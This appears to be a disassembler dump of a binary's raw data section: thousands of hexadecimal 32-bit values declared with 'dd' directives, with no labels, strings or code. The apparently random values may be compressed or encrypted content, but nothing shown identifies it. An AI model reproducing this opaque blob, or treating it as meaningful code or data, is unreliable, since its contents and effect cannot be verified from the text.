dd 32AEF30h, 0E910845Ch, 4207DC82h, 52D58851h, 0F350EE37h
dd 0A066595Ah, 0BD85ACD3h, 34B9099Ch, 0D1EEE062h, 0EEC32020h
dd 6A4D2810h, 0D5EB04EFh, 0AB3E55E5h, 914F0FADh, 0B3926Dh
dd 1E472205h, 0D75D682Fh, 7D8E55E3h, 5827E591h, 5FA50A71h
dd 18A22B9Ch, 0A77095F7h, 257BD5DCh, 6D74536Dh, 49E95558h
dd 5E27B739h, 0E44FCCF1h, 54050E34h, 403A9959h, 0F308070Fh
dd 0CF7D2075h, 745F1A9Dh, 327FA72Eh, 39E05D7Ch, 0F5767029h
dd 5EE5D12Dh, 82154A86h, 38E22D7Fh, 3BB8C32Eh, 27C0C406h
dd 9774F05h, 2EE9409Fh, 0B15145C0h, 8B80F33Ch, 84CA888Bh
dd 0B6D792F2h, 814D6259h, 70DAA6C2h, 0BC31D57Fh, 0D2D15A4Bh
dd 5A6C7926h, 106FE6D4h, 0ABF7EBA4h, 0CB849FB6h, 14815D82h
dd 8365495Ch, 0F1E401F1h, 8F703113h, 2D60BBAEh, 685F0656h
dd 2B633BF0h, 3C9DE7D2h, 0FE8104AFh, 30575155h, 782D3247h
dd 982FE641h, 5E77C0Bh, 48E9365Dh, 2045A59Dh, 861F4A5Bh
dd 8F53EA89h, 0BB8F8E0h, 0BF87FABh, 36073489h, 8C565BD8h
dd 0F9C901E7h, 830F0B0Dh, 0E2EADC9Bh, 92FC450h, 98E1F2F3h
dd 3157407Fh, 964BC3B8h, 1EB8B703h, 0D206EB03h, 0D5C2EACDh
dd 0D3E1E787h, 0EDE26A27h, 6804A154h, 0D2B20DE4h, 8A2D9458h
dd 0BFB5E1E3h, 43CC7361h, 0C0FABAAh, 58C87DF9h, 7A20510h
dd 2FBA9161h, 759010A9h, 0F7E7E982h, 429F4CF7h, 2EEC4B23h
dd 55A7F2A7h, 1D004C6Ch, 0F75FCC7Ah, 386856D5h, 7D972013h
dd 4D05835Eh, 83BD1A5Eh, 46488300h, 76CF0D60h, 96751002h
dd 0F97DB668h, 256D89C1h, 60065D11h, 1812F725h, 0B0AB57BCh
dd 0B55B3D87h, 41240D97h, 43F107AFh, 0A9C2E265h, 0DC5AEDC4h
dd 334A18D1h, 37E3F38Ah, 0D3C29DE0h, 4EA9E883h, 3C7229AEh
dd 582A4CDh, 5E985779h, 6113FBB8h, 42AFDF54h, 5B5DEA20h
dd 92B6715Dh, 8032A034h, 73DDC238h, 6BEBEAEAh, 67511B67h
dd 0D0C1142Ch, 15E9A0EFh, 0C2469F81h, 285E629Ah, 2D0189E2h
dd 0A2ED2C44h, 0B91A9357h, 0E9868DEEh, 0F8907EA7h, 7ACE3613h
dd 911C610Fh, 0C8EC8850h, 74EA58E6h, 5A018717h, 0FB7364BEh
dd 80D7D531h, 137F7039h, 0F05DDF69h, 8940B894h, 0EED75AF6h
dd 4B681A28h, 193AE38Fh, 0FC7E4DB7h, 3712A122h, 0BF5629CCh
dd 739B268Bh, 111B947h, 0A1EC6DDFh, 689CBD5Ch, 19B04BDh
dd 84C1E8AEh, 93C15266h, 61FAD022h, 59026295h, 0C5CA98C3h
dd 5A5E1258h, 9DC7690h, 9D715892h, 0DB186225h, 0C6976403h
dd 66BF09CFh, 0E7703EA8h, 67A36897h, 1B4695F6h, 6C93D62Eh
dd 110636Ah, 84C5FC4Eh, 310DDE3Fh, 67A83F48h, 0AEDDE40Eh
dd 8EFF29CBh, 463B8994h, 6B590973h, 0EE60BE39h, 92076AF2h
dd 742AB920h, 35E92851h, 0C74EF73Ch, 0B0DB8538h, 1B4F68D6h
dd 5F10F2ADh, 0F45A2712h, 8F7B5618h, 0E23C7497h, 0B2F38255h
dd 93586FADh, 9846C5EEh, 0AF316822h, 0BD5E2107h, 0FCE63D3Eh
dd 0F697E017h, 6FA25014h, 296CCF12h, 124ED4ABh, 0A32CBB0Ah
dd 7AC130E9h, 6E44BA0Ah, 0D0A0825Ah, 68D04011h, 0C618C125h
dd 13235BBFh, 0B507BD5Fh, 0DADB0CBEh, 0D0A05ACDh, 0DC2863CAh
dd 650BAD03h, 5539D85Dh, 0FB2DF905h, 7F238244h, 71A3800Fh
dd 0D592752Ch, 0E613C85Bh, 0A4296E57h, 24E5E1D8h, 1322332Eh
dd 3B0EB8D1h, 0F04BAF47h, 208C2067h, 2D945548h, 0B69A8233h
dd 5C61FDC9h, 0F69E2h, 2EFE17BEh, 27198DBBh, 0CCC21D6Dh
dd 64614C80h, 2AF35E71h, 4096B0E3h, 1A552A39h, 0D1BD5D12h
dd 0EE9CC293h, 0ECA341CCh, 0D899FD8Dh, 4BA3680Dh, 75CA8C42h
dd 0BB5C7140h, 0FDC696CBh, 0FF0C6969h, 0FE01F620h, 0A24BFDE9h
dd 2DE65EFh, 4E3E14F2h, 0A36EA5Dh, 5A45DF08h, 72682C90h
dd 544A2F11h, 0AF014B42h, 8A96AA4Ch, 5E6D365Ch, 7E38F15Bh
dd 9E5F78A7h, 77DE9F8Eh, 8FE4F56Bh, 8685909h, 8030D530h
dd 0DC03BB53h, 0D13B952Eh, 0B59094EBh, 76396C85h, 14A0F02Ah
dd 0D9327604h, 46022438h, 93B9E920h, 96253F7h, 8C8745B1h
dd 0C87022C7h, 9FFF595Fh, 22A34BBAh, 8058AC5Ch, 0B83AE1B9h
dd 6853A0A9h, 2C061286h, 8B121731h, 4192507Dh, 0D2A00EB5h
dd 3C022CE6h, 0E90BF91Ch, 522A48Ch, 688B2A9Eh, 0D8B0751Ah
dd 0CE2F33FCh, 6967F410h, 0F2EC60F5h, 52201263h, 7526A014h
dd 35C50E06h, 5FA685B9h, 52A5C732h, 0EF6C139Ah, 5E605295h
dd 2F29AA29h, 1530C8EDh, 1225BA88h, 0BBEE015Fh, 8860312Dh
dd 5E504C1h, 0BD1547E9h, 16083C39h, 0F5323420h, 154FD55Bh
dd 5DF464AFh, 0FC4BE186h, 0E8855A9Fh, 84A0B3EBh, 68027CF7h
dd 72AA74F5h, 55EA0262h, 4FD4A06h, 80AB400Eh, 87BFB43Bh
dd 0C689AE19h, 36967EAAh, 4E1CA35Dh, 0ABCC24EEh, 0A2C5729h
dd 50679C10h, 0C711F43h, 6468780Bh, 41A8D279h, 66142FAEh
dd 42631709h, 0AC1064B3h, 525F1F0Ah, 51CF09CCh, 38640CE6h
dd 683D5566h, 5744EC31h, 9D7B9948h, 0DD203ABBh, 0B646C4Fh
dd 0B702E959h, 3D095F7Ah, 0D044C63Fh, 592C188Ch, 67460C25h
dd 4779D41Fh, 7DBECF47h, 71C04274h, 0E3F10797h, 0BA73853Bh
dd 76287D80h, 8ACAA1E3h, 9D642C6Eh, 942FC741h, 613AC96Eh
dd 87D43A71h, 73C1F2BBh, 31347EAh, 0D2044D49h, 94BD1898h
dd 0A2281201h, 3FF12145h, 5FB1B6B8h, 569266Ch, 6D6F28DCh
dd 9D40D72Dh, 12EA4A99h, 566FE97Ah, 0FCB1392Eh, 7783F25Bh
dd 0CCBB4F90h, 815F3147h, 35F775FAh, 0B2B867h, 64A137E0h
dd 2741CFBDh, 4900E42Dh, 79ABF581h, 1748CE2Eh, 0C2610507h
dd 46B4FD0Fh, 7D5D0809h, 908BE7E5h, 0A51E5906h, 5D4C8BF7h
dd 0C9EB5CCh, 0B6B45081h, 0CB70E388h, 3E7CB5ACh, 4A18F25Bh
dd 0D2F88263h, 0CEC5557Ah, 0AB6C163Eh, 5ECE9F50h, 3B08985Fh
dd 0D9003DA2h, 8150423Dh, 3812ECEEh, 0A4BB1C88h, 441F1DD7h
dd 0F6C03F12h, 4BD95EACh, 9F1E9829h, 61835DE8h, 7BCB40FEh
dd 0B7B19C58h, 56246C14h, 4F8C0736h, 9D3DD155h, 0AC4A2406h
dd 40618A1Dh, 0B9C7AB0h, 31F91054h, 5AD017F2h, 0A2651E49h
dd 55D68774h, 1A3F0982h, 5EE38B40h, 0CDF4030h, 2445C7F3h
dd 1AAF6A7Bh, 195E32FEh, 5B956EDAh, 0C28990F3h, 5E2F72DFh
dd 0ADACD647h, 0E7D519A9h, 0B1DD2F07h, 0D62A5976h, 6E9508C5h
dd 1F681036h, 21E9160Ah, 97599AA0h, 628DB6CFh, 0C1031D75h
dd 66768114h, 273C47Bh, 0BA13E907h, 2910B875h, 61D9B9C3h
dd 62274BE9h, 3FC25127h, 12FA23D4h, 50B9A609h, 0AB4141B8h
dd 1E02C83h, 0EC9C3B0Ah, 5EF71745h, 7622EB0Bh, 0C4CC72E9h
dd 79A7E912h, 0F98B39BEh, 0C8123ECFh, 4F4FDAAAh, 0FB1AD7E3h
dd 76633099h, 9EE8B54Bh, 7CAC688Fh, 3E402AEFh, 2FD61CB8h
dd 862581FDh, 6428DE44h, 641DB13Ch, 6F4250D8h, 603D0821h
dd 1540DCCEh, 574F4E4Ch, 41D3BEC0h, 7B517E2h, 551053FEh
dd 96A70EE9h, 0DAE9EB4Ah, 2E462A74h, 0F8625FFDh, 6AE1253Ah
dd 2F167078h, 27E80E0Fh, 1F907910h, 56A58853h, 58E284F2h
dd 0BC54E45Bh, 2CEFF44Bh
dd 0F49D5A68h, 700BC9C5h, 123FC747h, 28FB87DCh, 59B75BBCh
dd 5AFE6B33h, 0FF921A2Dh, 0BD0B8117h, 41FED994h, 435158C3h
dd 0FEECC59Ch, 3C893A8Bh, 5658D47Ch, 29980C68h, 434E0BC1h
dd 0E46C9A97h, 0BF58ECBEh, 6C860760h, 29313A17h, 801FAF1h
dd 0F33E5258h, 0C8EB9200h, 0B24B7188h, 249780A7h, 98A2AB2Dh
dd 0BFACDDC4h, 0C5516B9Bh, 0A65EBE41h, 0F56DAC2Fh, 4AB199F8h
dd 65BA2BDAh, 0A661BE60h, 0CE72D8E9h, 7A0EE410h, 58C0EC49h
dd 930117FEh, 0D0E32806h, 0A8EF4A7Fh, 0D9ABF479h, 6603D168h
dd 74F51187h, 3F24F202h, 1FC0322Bh, 5205660Dh, 0B62DE93Eh
dd 0F38068ECh, 0BED09408h, 65DE012Ch, 0EA41CB18h, 1F7114AEh
dd 1675D84Ch, 0E8A33AAFh, 0E95D04DEh, 20CACC84h, 0CB85C8Bh
dd 0DBBA2BE9h, 0C4E7EC9Dh, 0AB1E88FCh, 4C1AFD44h, 0DA1410A3h
dd 28064B02h, 0C423529h, 8372D709h, 3BA35631h, 0B95B9F52h
dd 28A10712h, 0CD6762B8h, 1D091390h, 0F4D64BE9h, 682C9670h
dd 0CB03B96Fh, 224A1Fh, 54B8F358h, 0AE907A9h, 0BCB5E25Fh
dd 0D82F04DDh, 694477CDh, 0A8FF34Dh, 8B8BC331h, 0BB6172DCh
dd 22F56930h, 9F5195F4h, 55EA44D1h, 0D6905A89h, 24D47A57h
dd 1D10162h, 3B64F580h, 0E34CFAF8h, 0AD30C516h, 0FCC72FF5h
dd 6417BE8Fh, 2701ED84h, 81674AD7h, 0AABF404Fh, 0E845A46Fh
dd 6D6CD1F5h, 0D5FE9694h, 0D4DB8091h, 171BE7F0h, 9450DD01h
dd 5C2FD7F8h, 0E9580FD4h, 0A091BA0Dh, 0E181AC87h, 0D36CE67Fh
dd 85CE021h, 9FC4093Ch, 50310910h, 0CF7254B2h, 0F62D005Eh
dd 52CD30Ch, 0D70615BAh, 0B194E936h, 0F74A1930h, 868104D2h
dd 16DE1032h, 0C24B11h, 0D60114ACh, 785EB7E9h, 0FCA21B67h
dd 695C0927h, 0C8E10612h, 27030160h, 70601B64h, 6C121FE2h
dd 230060F5h, 39634FCAh, 0B564C131h, 2B8E4690h, 0C9376481h
dd 96D882Ah, 0A71C6F3Dh, 2C22847Bh, 0CFC877C3h, 1C1E87A4h
dd 59EA0135h, 3008E2C0h, 80829F54h, 7C181BF4h, 6C0CC102h
dd 96EFC211h, 82EF5ACCh, 0E4403636h, 7F49E943h, 0E3301D92h
dd 0CB47AECAh, 5880F6A7h, 578222DAh, 7C97F269h, 0A3D848A8h
dd 0A8AFA45Ch, 75ADB11Fh, 1D045900h, 0BBB25203h, 0C35AD028h
dd 2CF0A9ECh, 4EF472BDh, 84F1EC1Dh, 5B0990F7h, 9EF65009h
dd 557F40AFh, 0BFC4B2D4h, 76190C22h, 81067810h, 0D3F57654h
dd 486AB539h, 8C1C7BB2h, 8BACC2D3h, 8720341Dh, 89DC6858h
dd 87860811h, 0DA53BE72h, 0CE01CA01h, 87CF1862h, 0D6905169h
dd 6880CA34h, 0FA3E4997h, 0F8A9D29Ch, 0B86A9DCCh, 5685F20h
dd 0F6167BEh, 9564851Ah, 498E0B43h, 34D8C91Ah, 0C2F1AFA0h
dd 0EE4922DDh, 97542074h, 4B036347h, 12EAB629h, 3E13215Eh
dd 0AB2A64EFh, 18E3B0F4h, 0F709FA68h, 0C1C0844Ch, 2D3C3F28h
dd 61250058h, 506E86Ch, 0CE62AFAh, 2C09289Eh, 0C1721B96h
dd 5835E818h, 0EC3F56E1h, 5CF41F77h, 4A215DBCh, 822970C7h
dd 0E988141h, 49C6CE80h, 0FFB82C84h, 85DE6F0Bh, 1485F787h
dd 0A7698353h, 0F375A332h, 21D2555Ch, 0E7B613F6h, 4F9CD62Fh
dd 1AD92B62h, 863212C0h, 89C6C812h, 0B5BDB80Fh, 7EC85EBAh
dd 0DAF9DF62h, 0EC446145h, 0C90BCC00h, 549B6861h, 0FA3E5807h
dd 61E2D0CBh, 29AEF277h, 0A8897426h, 3CCA0F49h, 0C0C4332Bh
dd 0F7798871h, 78B0E525h, 7860204Bh, 4AA3681Ch, 58B9FC2Fh
dd 5238B4E9h, 26EFDE0Ch, 21A01038h, 6AE165D6h, 0A2A18DECh
dd 0D887C323h, 73424793h, 4364C380h, 0FEBE977Eh, 6FE87627h
dd 3B9273CDh, 4BA80484h, 5C1EE102h, 0F1D55B07h, 0A3666447h
dd 32BC4B5Fh, 0E567DD00h, 968CBD3Fh, 294F971Eh, 502A98A7h
dd 0D15505B8h, 8556F04Dh, 5F53F8B2h, 0C8871BECh, 0ACC234C0h
dd 6EC4B1Eh, 0EBA50896h, 5FF6E225h, 68530F18h, 8A754D29h
dd 0EAAAC9A5h, 602AD3D5h, 3A706892h, 22A7C59Dh, 3C84F99h
dd 4081BE28h, 327423BAh, 0F57C980h, 5EE962E3h, 2359A47Ah
dd 0C231674Bh, 573557B2h, 9D134ED8h, 90EC7424h, 80C4FE88h
dd 8826B9EEh, 780942E3h, 9224717Bh, 0C19A0ED8h, 0A88BAFB6h
dd 44CEA812h, 0AC0FD820h, 4C98C0EFh, 4BE96DCFh, 0FEDD859Ch
dd 1B545990h, 25327D29h, 90F28EAFh, 562E117Bh, 73851952h
dd 0D4BF01E2h, 49081F0Dh, 0E95CE4F0h, 3EEE81C0h, 54AD2D5Bh
dd 8A0EA7Ch, 75A430BFh, 125F95A0h, 6A70FF88h, 7968A9Dh
dd 8A7D0600h, 13992D58h, 0C1321648h, 2AAB5B5Ch, 1D2E28CAh
dd 847EA578h, 6E01240Bh, 9A1C245Dh, 9964A7E8h, 4D903330h
dd 280BC1EEh, 815C3F36h, 89E65908h, 0BB85BF4h, 60F2390Eh
dd 0C100D0E4h, 333508E0h, 351971CCh, 0B95D1BE9h, 0DA688240h
dd 0EC67D777h, 4C5EE1Bh, 2D0C756Ah, 0BCD58512h, 1BDE5B5Ch
dd 0AFBCE90Bh, 936406F1h, 820EFD13h, 554CF268h, 9501504Ch
dd 0E9181A1Bh, 176CB810h, 20A1BAE0h, 401C652Eh, 0CB106704h
dd 4AA7C3AFh, 568A1205h, 4EEF768Ch, 94DC44D3h, 700EB019h
dd 29C40B57h, 5E0810D6h, 0E9096CACh, 0A689511h, 80808874h
dd 0FF22B8F1h, 4184FE30h, 51B46B41h, 63CEF8FEh, 5DBF14A6h
dd 0E8A045B1h, 639BB640h, 8D37D90Ah, 0B84F2150h, 795D20C4h
dd 0CA0D2BAh, 0D43F36B5h, 67CD9331h, 0E285A1F2h, 0C055AC8Dh
dd 137EEC3h, 0F3EC6Ah, 3D095B93h, 3012B951h, 0A41F9824h
dd 4464D02h, 8648FD38h, 731862E1h, 441E2A40h, 0E7E22721h
dd 4ABEEF76h, 0F70170BDh, 716895DDh, 0DE81960Fh, 0DDD92E52h
dd 120E8A6Fh, 9529A157h, 668BD7Ah, 40478F58h, 1D9F01A8h
dd 66E9288Eh, 0E38852B7h, 0C432C341h, 5714248h, 207B4013h
dd 9605CFADh, 0C023F258h, 0BECED50Dh, 5961E926h, 0D3F84D97h
dd 21FBFD2h, 7E6F3DCBh, 0F97C7063h, 0BF5469AEh, 0E75F8C11h
dd 0BE93A4F7h, 174D132Ah, 90B89117h, 0D92608B9h, 78AC7F4Bh
dd 4619677h, 0B0F5E955h, 0DBBF5B5Ch, 0A2DD2D2Fh, 17035DAh
dd 0CE15B72Dh, 0BB02135Ch, 0C05D6179h, 0A9B470A7h, 7A30EF80h
dd 80DE417Bh, 6B783226h, 9E38170h, 371E1545h, 72F387Ah
dd 88C9D92Eh, 68AA3C0Ah, 487A3631h, 0D589335Ah, 791A5945h
dd 335E3241h, 40B7880h, 827A050Ch, 7B1D1312h, 57B700EFh
dd 525E701Ch, 0BE53FCC4h, 0BDD021BBh, 46DF6B19h, 0C56CE24Ah
dd 4A4D1E51h, 0B5F07166h, 4C96BAC2h, 184C4E3h, 9CC147DCh
dd 0DA440D73h, 56526925h, 0CD1EC82Eh, 0DBA8FE9Dh, 0A0878E4Bh
dd 2B022D41h, 391D6320h, 581A85Ch, 0FCB11A8Dh, 97F47B09h
dd 2F111254h, 253AF82Bh, 8063C0E1h, 287826F6h, 6FC5084Dh
dd 0E255DC2Dh, 717F7EE5h, 0C513A42Ch, 29B44D28h, 0B7402B6Ah
dd 0E64E03C3h, 0F1EBF864h, 0C088CCAh, 31720420h, 0D179E906h
dd 6D3968DCh, 4E6310B7h, 0F1054800h, 89ADE10Bh, 1718DBBFh
dd 0C7F18229h, 5135E07Dh, 117D95DAh, 0ED6CBB7Ch, 0A044348h
dd 0B30EF068h, 67FE174Fh, 0B1AE48Ah, 0E05FCD28h, 9EBF2B55h
dd 0D47C28Fh, 257AC55Dh, 5D1222C6h, 34AB6968h, 0CACD03A3h
dd 6410F361h, 0BD4B3ED8h, 5001D212h, 4F2B4CCDh, 0C6CF6070h
dd 0B3F752C0h, 6886E22Dh, 25C670FBh, 3254880Fh, 0E913BA20h
dd 7E982B0h, 5185BF10h, 3146EDFEh, 3C48ED80h, 66194B80h
dd 0C87E6E10h, 0F309EF72h, 0B4E544Dh, 0E7420379h, 8CF3E703h
dd 55F4CA34h, 9DCEDFA2h, 167B1BDFh, 0E3FD57A1h, 611168Eh
dd 58C96FBDh, 6BDC1882h
dd 54E46954h, 82F5BDA8h, 4C4A5369h, 7EF27750h, 286AC460h
dd 385066C6h, 0C6790B0h, 0FCDE1B58h, 2AAE0052h, 0A039FF60h
dd 2F6912D8h, 0D1541CD0h, 0AE9A228Ah, 32FF54Bh, 0CD543AA4h
dd 0D3D86FC0h, 7BE29DC5h, 0EEDF8209h, 12534A3Fh, 8DE3BFB0h
dd 801D7C7h, 3BC80FF8h, 6AEB41E9h, 54A7D6F3h, 5DC740FCh
dd 58010815h, 42B2BF57h, 0C5614133h, 0BA067328h, 0EE51290Eh
dd 3B48C92Fh, 6F21D93Bh, 74B264ADh, 9D313C8h, 0FD287E28h
dd 995892Eh, 0C8BF0F60h, 51443168h, 3FAA3B49h, 86C644CCh
dd 7DF6813Eh, 252C3E3Ah, 0FC477DF0h, 7FED3589h, 0AF64A112h
dd 97C6F8h, 5933BBE7h, 0FF9532h, 35047716h, 0B4024EE9h
dd 0A8EE5754h, 132D8B4Dh, 0A8C55BBh, 64725EFAh, 68D12C6Fh
dd 91220532h, 6654C953h, 0C52C48Eh, 585D4EA9h, 1AA16DA9h
dd 8C5AEDF2h, 147B4625h, 0BC5E5AF0h, 7302CF22h, 928B5D16h
dd 0ADF1312Eh, 200C9CF5h, 68056C71h, 17C5720Ch, 0A27F38E5h
dd 61EA92D5h, 3F5FFDFBh, 0B800269Eh, 5EEF4D95h, 0A190C609h
dd 5DC4E925h, 0AA442FE2h, 0D39D96F0h, 59C18401h, 0C38BC472h
dd 0DEA8E846h, 0DB5EE96Eh, 795B7683h, 0F0834DFFh, 282DE44Eh
dd 0B04FA592h, 0E6D0C607h, 0D56C0F72h, 2497B491h, 0F107814Ch
dd 0E334007h, 494EE160h, 0A8064EF5h, 0BFC80990h, 95277FCAh
dd 0BD0EA2FDh, 0BDD1E469h, 0F9500FA4h, 4F39A67Fh, 0E53AEDBBh
dd 6E2281DFh, 5E65EB74h, 0E9A0A568h, 0FF95A23Fh, 5457A91Ah
dd 0B086436Dh, 60585425h, 3EB7F106h, 0A49C8044h, 32542F39h
dd 7C890952h, 3A06D8BDh, 55F3A7C0h, 17EA41F9h, 0A15BDE31h
dd 149209Bh, 82D9E927h, 5DD4881Fh, 40B73B98h, 5C4373B6h
dd 4F191831h, 21BA306Bh, 7FC53C0Ch, 0AA34464Ah, 0DF0B42F5h
dd 0BC05D7A9h, 0BB8CFECAh, 2E432568h, 0C562E9D4h, 0FD868B55h
dd 59AA2617h, 0DA715E97h, 0F1E2D45Dh, 974E2051h, 55F692B7h
dd 0E9D04D7Ch, 2486B269h, 8A4C83Bh, 2D026ACDh, 7524F26Eh
dd 5E731FC0h, 294D160Fh, 8A81CC3h, 0DE91E917h, 6EF4DA24h
dd 47C9975Ah, 3368DEA3h, 7F3D5334h, 0A8497C76h, 77F025D5h
dd 5CB00998h, 546C4327h, 0E7810065h, 64496817h, 600B5074h
dd 80301951h, 2671C7D8h, 0EE5F4AC6h, 81FD884h, 5D0178EFh
dd 0FC9C45Bh, 535D2E60h, 11B4BB4Eh, 0B2DE5F29h, 9F4D026h
dd 5030373Ch, 3B44B92h, 80C1FE88h, 0B4AB8795h, 5AA492F3h
dd 205BE47Fh, 0F9BDB1B5h, 0A0DD8D1Ch, 0E2A02B59h, 27487B73h
dd 0AA189EC3h, 61250ACBh, 0C566D745h, 5D2ECA9Dh, 1B4BC040h
dd 0BB695E02h, 77D6597Ah, 7E1D5087h, 0D31C0216h, 15528668h
dd 0A077AF2Fh, 0FE3E5819h, 0DFB8C550h, 5B4BB2B5h, 0E829C14Bh
dd 322D483h, 0F80164A4h, 34F15351h, 0E7BD3EA6h, 0ACB26216h
dd 0A7CB9FA9h, 0B0125127h, 5D59D768h, 0BF0F2DB8h, 0F66E377Ch
dd 2DF81FC1h, 97AC0A44h, 0E0B9AD93h, 0C4381468h, 886525D7h
dd 5A6AE4FFh, 0D1024A22h, 574D82BDh, 680C78E3h, 2D839CE9h
dd 3E2C25F6h, 0E67F6878h, 657C6B71h, 0C79EE06h, 50C2D4Eh
dd 29ED6F1Eh, 0AEFB04F7h, 3DAAB9ABh, 865BA80Ah, 0F1AD1C2Fh
dd 213EC2E9h, 2AF66801h, 1C4DE2Ch, 0F8AA3415h, 0D25A8C53h
dd 3EF9958Dh, 0E0573C92h, 5C0BC8AAh, 65A741B5h, 3EF3C2Fh
dd 19F36A4Fh, 0F8419525h, 2B0305Fh, 62375697h, 56E63914h
dd 59D6F72Dh, 6D3462A2h, 6EA85C05h, 65B5E8A3h, 952A82D2h
dd 0FD5E9B5Ah, 0B9DF89A8h, 2D00C34Fh, 0BC95EE7h, 782ADF0h
dd 56D41580h, 2FB1E9Ah, 70BC8052h, 46F9314h, 694C3F25h
dd 847EEC4Bh, 6C0CF01h, 48D64362h, 9824457Ah, 48996F3h
dd 0EAFE3108h, 0E7489EE2h, 47441A2Fh, 10ECA983h, 7079278Ah
dd 0B66DBDBAh, 72ABE904h, 89384E6h, 0D7258686h, 0D7A7EDE7h
dd 6F0B9C29h, 0CAA785F6h, 0CE527F07h, 0DFC45527h, 0FDD99733h
dd 7EDE659Ch, 0A4985EF3h, 0C9C079D3h, 0B35074F5h, 254E9873h
dd 6A6429E1h, 2F8EF6B7h, 0EAA8160h, 0BBEC125Fh, 0F06E9F02h
dd 0D0F40103h, 2BD2FE39h, 282E24ECh, 0AF34132Eh, 6081E50h
dd 8541E959h, 69D69F7Ch, 0BCC6E812h, 0B8702A98h, 3E73FBEh
dd 1F199410h, 0E3CDFA09h, 0F081B77Eh, 47941680h, 4DE215Eh
dd 0A3B6E807h, 803A4A4Eh, 0F55BE1Eh, 1F26D48h, 92F0AFC6h
dd 93B29B8h, 70AC3FA1h, 94448B8Ah, 88044FEEh, 0E376BE01h
dd 7A9225h, 20D0054Fh, 0E93A094Fh, 55F18290h, 0CE967728h
dd 78970500h, 0B2D54EEh, 1A576B9Dh, 720BF5Ch, 1208B082h
dd 0AD5FBFDCh, 4DD55EF1h, 0E9E11EACh, 72F5C6AAh, 93FB3D13h
dd 15841B18h, 70B546D6h, 57F93B11h, 7A073127h, 810231C1h
dd 771520CAh, 23F87176h, 45AE5E16h, 58F00813h, 0EF681342h
dd 4BCB343h, 4BA50205h, 386116FCh, 40D31CB3h, 25F4CAFEh
dd 0E941D40Bh, 973B78ADh, 7B0EDBF2h, 0DF4ECA74h, 658F5C80h
dd 0EECB89BDh, 31A14A5Fh, 34D4D7E6h, 1F4FC314h, 510092A8h
dd 0B753B0B1h, 0D70EF620h, 5C80CFFEh, 0EF530EF7h, 75F982F8h
dd 0DC9FB94Ch, 0E95786CFh, 5F1793A0h, 7FF35B68h, 45F9207Eh
dd 63F33CFAh, 0A94A7DBCh, 9F718E4h, 725047BEh, 5BD4ED00h
dd 215CAB7Fh, 41E66528h, 721C287h, 0A3402C9Ah, 9497993h
dd 10E94270h, 0F1802DAFh, 0B76D3DFFh, 0F34BD2F6h, 47E7CDBBh
dd 2F2B5D7Ch, 0CC53ECC1h, 6923BA2Eh, 0F8681D49h, 0E9094321h
dd 18016E65h, 10B8EABFh, 0AC2A510Fh, 4FADACCAh, 0B7519128h
dd 0DB25013Eh, 3817EBC0h, 0C33A7F2Dh, 0BC5F35D9h, 0FE65B1ACh
dd 7F2AFD63h, 0EFBE0496h, 0ED69744Fh, 0F6E81AFh, 0B12E5DF1h
dd 1E3560AAh, 0F717A99Fh, 712F4DB0h, 83275C0Fh, 814DC0C5h
dd 2D49A1CDh, 3DD3AA4h, 0E858CC2Ah, 0A9B4B0E9h, 0C1E4EFD1h
dd 89F5250Bh, 0E9DA0060h, 94472F2Fh, 389B327Ah, 59572E7Dh
dd 9FC88EF7h, 0A9CAFE13h, 8A22517Eh, 0AE365DC1h, 0F9E62F7Ch
dd 0C0A632D5h, 0C0818607h, 0EAEC99Dh, 4FF6739Dh, 0AC469260h
dd 5BBD6866h, 51BDD248h, 3E414BE1h, 0A3163FA6h, 2162AE50h
dd 31BCA49Ah, 0D2F467EFh, 1A775CCAh, 2D5440ECh, 3159047Dh
dd 0D476E978h, 3E0B81D7h, 77518861h, 0AE5C13F0h, 5867A500h
dd 8BC32923h, 0B145115Ah, 18B3B93Ch, 4CC1ED10h, 4B35F1Dh
dd 54D76882h, 2590C57Fh, 7675CF48h, 18E75A81h, 3BB76A55h
dd 0FA86157Eh, 2CBF6F66h, 4C52ABA0h, 313E5860h, 8032A7E8h
dd 274FBB7Eh, 0BC734AB8h, 0A3354F0Eh, 63A3FF04h, 2741EB35h
dd 0B303477h, 0D5F7303h, 0A0903B05h, 90495E3h, 55D7875h
dd 0AEBC154Dh, 0EE2AD7DFh, 1792328Ch, 0FE111870h, 0DF50C80Ah
dd 553BFC10h, 0AD3FC324h, 0E5DDBC42h, 2DE880BDh, 6BF76AA5h
dd 0C6B1E913h, 0F66BB3E5h, 0DCEA2DA3h, 0AEE98545h, 17B1A298h
dd 2B213166h, 41A063ECh, 358B9FD6h, 277F665Fh, 0CD689AB9h
dd 0BE818DD7h, 0A2B54854h, 846A0541h, 0D2C57F81h, 2FE74D3Eh
dd 78159C04h, 2DC055F8h, 1942549Fh, 838F78BDh, 95BEAC07h
dd 5E1C385Dh, 39FE555Fh, 12BB639Ch, 0E6A3546Fh, 5B1AF10h
dd 8D7AF7B9h, 0C261C2FAh, 7FEDC548h, 0F8B5818h, 1D2FE2B6h
dd 0A42959F0h, 271E17CDh, 0B3792548h, 60C300F1h, 0F92D45E8h
dd 0D0E1906Eh, 5F2D07CBh, 0BB5339Eh, 83E17D41h, 6AE33A6Fh
dd 0A8374A7Eh, 717BC190h, 2AF41F50h, 8CFCB7CDh, 7DD88273h
dd 0E914CDD1h, 6CA65EFDh
dd 6D63691Ch, 0C90DE3DEh, 0C93EA2Eh, 7CA809A4h, 0FAD123FFh
dd 0FA684A89h, 7B4E388Ch, 0E73FF964h, 61EF4A5Bh, 2835E9CDh
dd 5EF4F3Ah, 0AE62BB87h, 0F94F25B2h, 4FEC5F1Bh, 0C04F68ACh
dd 0B58596F4h, 6577EF62h, 0F7273FD7h, 5957E142h, 6E7BE9ADh
dd 1D6CC788h, 0A9518B58h, 0A7BD88F3h, 8867E0BEh, 4C29B8EFh
dd 0C25BE001h, 15818ABDh, 20D9F602h, 0E7C9C632h, 0BAEA02CBh
dd 0B098949Ah, 81B1805Bh, 6F5D8177h, 0A4E59BE1h, 0B0C6016Fh
dd 0B9C32802h, 5ACFCCF4h, 98FE0C85h, 1F4F4114h, 185C8530h
dd 0C1470B91h, 4B0402E1h, 1464E435h, 4249AC05h, 10E2F731h
dd 8705AF96h, 0CDF62ACEh, 58138A10h, 5C812004h, 0A448205Ah
dd 6863389Ah, 14DFFDC2h, 9DA8F822h, 68E21BF4h, 6B09FF7Bh
dd 8B59B9DCh, 0F59F5EAh, 3EB80E1h, 0C051EE60h, 0E384EFDBh
dd 0F8ED05DBh, 0F40466B3h, 1E12E90Bh, 0FE53AC04h, 0E06F2C6Dh
dd 614FE9FEh, 805A5600h, 27288DF7h, 4BFE5BF8h, 77506609h
